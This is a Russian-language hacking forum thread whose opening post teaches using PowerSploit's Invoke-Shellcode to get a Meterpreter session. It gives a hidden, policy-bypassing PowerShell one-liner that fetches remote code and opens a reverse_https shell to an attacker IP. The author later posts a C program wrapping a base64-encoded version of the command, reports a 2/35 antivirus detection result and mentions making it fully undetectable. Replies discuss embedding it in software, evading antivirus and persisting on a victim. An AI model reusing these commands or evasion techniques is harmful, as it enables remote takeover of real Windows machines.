PowerShell для хакера (часть I )

[<~DarkNode~>]

Часть 1Следующая часть (https://forum.antichat.xyz/threads/558620/)
Все части

Приветствую Вас колеги. Как Вы уже поняли речь пойдет о знакомствах с базовыми возможностями PowerShell и области применения хакерских техних.
И начнем мы пожалуй сегодня с использования скриптовPowerSploit -( скрипты написанные на PowerShell для пост эксплуатации Windows систем)

Первым примером использования PowerSploit - это будет пример простого и быстрого получения метерпретер сессии на примере скрипта Invoke-Shellcode.ps1

https://forum.antichat.xyz/attachments/4766699/img_88adb8516d.png

Для начало сходим на гитхаб по ссылке:

Код:



https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1


https://forum.antichat.xyz/attachments/4766699/1.png

Жмакним на клавишу RAW - что бы получить ссылку для скачивания в чистом виде

Код:



https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1


Эту ссылку мы потом используем для нашей команды PowerShell,а пока можно в скрипте в комментариях увидеть опциональные параметры и примеры для его запуска:

https://forum.antichat.xyz/attachments/4766699/3.png

Копируем урл нашего скрипта и готовим следующую команду:

Код:



Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.137.137 -Lport 1337 -Force


https://forum.antichat.xyz/attachments/4766699/5.png

https://forum.antichat.xyz/attachments/4766699/6.png

Собственно говоря и все)

Запускаем данную команду и к нам прилетает метерпретер сессия)
Можно еще для удобства сократить урл к скрипту на гитхабе через сервисы сокращения ссылок)

Всем спасибо) Продолжения следует)

Следующая часть (https://forum.antichat.xyz/threads/558620/)
Все части

[kot-gor]

добрый вечер.а если данный скрипт допустим встроить в софт, как с детектом антивирусов у его?

[Vander]

kot-gor сказал(а):

добрый вечер.а если данный скрипт допустим встроить в софт, как с детектом антивирусов у его?


Присоединяюсь к вопросу...

[<~DarkNode~>]

Завтра сделаю тест на детект.Сорри сегодня не успеваю)

[pappa]

я полагаю если удаленно создать правило в исключениях фаервола то получится или я опять не права ?

[kot-gor]

pappa сказал(а):

я полагаю если удаленно создать правило в исключениях фаервола то получится или я опять не права ?

не обязательно...

[ipmann]

Symantec Endpoint Protection 12 этот скрипт прибивает..

[kot-gor]

Добрый день, ну не во всех же стоит Symantec Endpoint Protection,какие то скрипты будут пробиваться..)

[<~DarkNode~>]

~~DarkNode~~ сказал(а):

Завтра сделаю тест на детект.Сорри сегодня не успеваю)


Извините за редкий онлайн. Увлекся лабораторией тестирования на проникновения от PentestIT. После окончания прохождения вернусь к вам мои дорогие друзья)))

[InK]

Огромное спасибо за статью, искал нечто подобное.

[fumpc18]

Спасибо за статью,не подкинете пару книг по powershell?

[<~DarkNode~>]

MAdDog719 сказал(а):

Пожалуйста напиши статью как проходил лабораторию.


Могу посвятить небольшой цикл статей в виде врайтапов по каждому токену(флагу) от моментов подключения до последнего токена.Как пользоваться картой топологии сети, простую логику поиска векторов уязвимости, и т.д
Имхо такие лаборатории очень наглядно демонстрируют известные векторы атак,и полезно попрактиковаться на них,так как команда специалистов делая лаборатории подбирают наиболее актуальные уязвимости которые попадают в статистику пентестов текущего года.
Если кому то будет интересно,то конечно могу)

[valerian38]

~~DarkNode~~ сказал(а):

Могу посвятить небольшой цикл статей в виде врайтапов по каждому токену(флагу) от моментов подключения до последнего токена.Как пользоваться картой топологии сети, простую логику поиска векторов уязвимости, и т.д
Имхо такие лаборатории очень наглядно демонстрируют известные векторы атак,и полезно попрактиковаться на них,так как команда специалистов делая лаборатории подбирают наиболее актуальные уязвимости которые попадают в статистику пентестов текущего года.
Если кому то будет интересно,то конечно могу)


Если вы это сделаете, то я буду самым счастливым человеком на свете.

[<~DarkNode~>]

valerian38 сказал(а):

Если вы это сделаете, то я буду самым счастливым человеком на свете.


https://codeby.net/threads/laborato...-xakerskix-vozmozhnostej-1.58573/#post-267531 (https://forum.antichat.xyz/threads/558573/)

[<~DarkNode~>]

D8mbsniper сказал(а):

Неплохо.
Думаю такой скрипт с rubberducky должен "подружиться"

Обычно в этих целях его чаще используют)))

[<~DarkNode~>]

D8mbsniper сказал(а):

Неплохо.
Думаю такой скрипт с rubberducky должен "подружиться"

Вот этот скриптец должен лучше помочь :
https://codeby.net/threads/vashi-programmy-na-python.58124/#post-266525 (https://forum.antichat.xyz/threads/558124/)
Писал для удобства.

[<~DarkNode~>]

https://forum.antichat.xyz/attachments/4767967/img_4c5d5b9378.png



kot-gor сказал(а):

добрый вечер.а если данный скрипт допустим встроить в софт, как с детектом антивирусов у его?


Тестанул вот на детект,весьма не плохо, 2/35 (правда аваспом палится) Но можно в принципе достич и фуда (FuD) если небольшие манипуляции сделать
http://NoDistribute.com/result/FkiQhHjaUrIZAsfWG

C:



#include
int
main
(
)
{
system
(
"powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdA AuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBh AGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAG EAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4A dAAuAGMAbwBtAC8AYwBoAGUAZQB0AHoALwBQAG8AdwBlAHIAUw BwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEMAbwBkAGUARQB4 AGUAYwB1AHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAC0AUwBoAG UAbABsAGMAbwBkAGUALgBwAHMAMQAnACkAOwAgAEkAbgB2AG8A awBlAC0AUwBoAGUAbABsAGMAbwBkAGUAIAAtAFAAYQB5AGwAbw BhAGQAIAB3AGkAbgBkAG8AdwBzAC8AbQBlAHQAZQByAHAAcgBl AHQAZQByAC8AcgBlAHYAZQByAHMAZQBfAGgAdAB0AHAAcwAgAC 0ATABoAG8AcwB0ACAAMQA5ADIALgAxADYAOAAuADIALgAxADAA MgAgAC0ATABwAG8AcgB0ACAAMQAzADMANwAgAC0ARgBvAHIAYw BlAA=="
)
;
return
0
;
}

[<~DarkNode~>]

stilya сказал(а):

Ничего не понятно...что копировать и куда вставлять и что менять?


Ничего не копируйте,никуда не вставляйте -- это может причинить вред вашему компьютеру...

[<~DarkNode~>]

stilya сказал(а):

А как же проверить работу всего этого мануала...да и что с ним будет...поставлю систему заново. делов то...15 минут


Мануал расчитан,на то что у людей которые его читают есть хоть какое то понятие о том что они делают. Вы уж простите ,но если вы ничего не поняли с этого мануала - то будет лучше для вас и окружающих если прекратите свои експеременты...

[<~DarkNode~>]

stilya сказал(а):

Ну а как же понять...и как научиться никто не хочет помочь.
Как понял вы это делали на виртуалке...аналогично что на метасплойт кали линукс, если вы это имели ввиду...то конечно же это понятно...но работает ли это на реальных машинах...у меня есть два компа, на которых я могу третиноваться...может все-таки поможете?


Да, я демонстрирую это на виртуальных машинах:
Во первых - это этично
Во вторых - как вы себе представляете фото и видео на камеру таких демонстраций.
Интересно... Назовите причины , по которым это не будет работать на реальных устройствах.

[aserf]

Спасибо, за статьи

[ActionNum]

Спасибо за статью!)

[d3l373d]

stilya сказал(а):

Причина как раз в том что машины на которых я тестирую реальные, их специально я отвел для ушатывания...через неделю другую системы будут хлопнуты и опять тестить...
и я не утверждал...только предположил...может быть именно в этом причина?
Почему я решил именно на реальных...потому что создавал прокси сервера на вирте...все работало, пока это решил сделать в реале...и пришлось идти на другие сайты и все по новому создавать от debian до sams


Запомни святую истину, всё, что работает в одном сегменте сети будет работать и в другом в том числе и в интернете

[d3l373d]

Grafsky сказал(а):

Ааээмм, а разве ПШ актуален? Давайте еще проги на нем попишем, можно же.


Хааааххх. Начиная с вин 7, пауэршелл не просто акутален а стало основной пушкой которой до сих пор можно даже винду раздолбать. Совсем недавно я демонстрировал как подгрузить макрос с ПШ в ексельку.

[animi]

что-то не получается. один ноут на win 7 на другом кали 1. запускаю на кали use exploit/multi/handler и set payload windows/meterpreter/reverse_https. в винде (Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('link removed Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.37 -Lport 8443 -Force) lhost и lport одинаковый. сделал в винде Set-ExecutionPolicy Unrestricted отключил брандмауэр отключил контроль учетных записей и сессия не приходит. netstat -na не показывает соединения, но в процессы висят. в какую сторону копать?

[Elektrolife]

Я наверное где то что то упустил.. На виндовой машине открываю PS,вписываю ссылку и свой реверс в команду,отправляю - PS захлопывается а сессия не прилетает. В чём проблема ?

[d3l373d]

Elektrolife сказал(а):

Я наверное где то что то упустил.. На виндовой машине открываю PS,вписываю ссылку и свой реверс в команду,отправляю - PS захлопывается а сессия не прилетает. В чём проблема ?


Возьми https

[Elektrolife]

SooLFaa сказал(а):

Возьми https




Эммм ? Хендлер запущен на meterpreter/reverse_https. Порт и адрес корректный. В PS строчке тоже всё корректно

[d3l373d]

Что то блочит тебя. Тут я уже не волшебник, чтобы угадывать.

[<~DarkNode~>]

Gl@balWar сказал(а):

Возник вопрос,возможно не по теме....Но как можно сохранить сессию по данному способу так,что бы к ней можно было подключиться из под другой сети ?


Это уже в сторону закрепления в системе.Просто персистенс сделать ,что бы в дальнейшем можно было подключаться к жертве.Но опять же таки если речь идет про реверс соединение ,то нам в любом случае нужно знать айпи машины для того что бы сделать на нее реверс конект

[ActionNum]

animi сказал(а):

что-то не получается. один ноут на win 7 на другом кали 1. запускаю на кали use exploit/multi/handler и set payload windows/meterpreter/reverse_https. в винде (Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('link removed Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.37 -Lport 8443 -Force) lhost и lport одинаковый. сделал в винде Set-ExecutionPolicy Unrestricted отключил брандмауэр отключил контроль учетных записей и сессия не приходит. netstat -na не показывает соединения, но в процессы висят. в какую сторону копать?


Для начала посмотри, точно ли у тебя все пинги проходят, от таргет компа до листнера и в обратную сторону.

[Elektrolife]

stilya сказал(а):

Ну а как же понять...и как научиться никто не хочет помочь.
Как понял вы это делали на виртуалке...аналогично что на метасплойт кали линукс, если вы это имели ввиду...то конечно же это понятно...но работает ли это на реальных машинах...у меня есть два компа, на которых я могу третиноваться...может все-таки поможете?



Советую начать с курса CEH - Этичный хакинг и тестирование на проникновение. Поможет для общего понимания что и зачем делать.

[Дядюшка Рик]

я тут взял эту штукенцию и проверил не менял айпи какой был такой и оставил нажал он куда отправился в какую вселенную можно потом от этого избавиться?)

[<~DarkNode~>]

llein сказал(а):

Вопрос к компетентным товарищам - реально ли такое провернуть не со скриптом PS, а с exe?
И,да, перегонять в формат .ps1 через штатный exe2hex я пробовал, конечный скрипт не запускается. Через тот же самый IEX - тоже никак.
Поскажите, пожалуйста, я себе уже мозг сломал


Какая цель?
Создать из скрипта бинарный файл?
Или подгрузить бинарный файл?

[Rike]

Defender палит(

[Jack S]

Народ, такая ситуация, при запуске команды в ps он выдаёт что проверьте синтаксис и то что invokeshellcode не найдена хотя взял весь код и скопировал. Что может быть?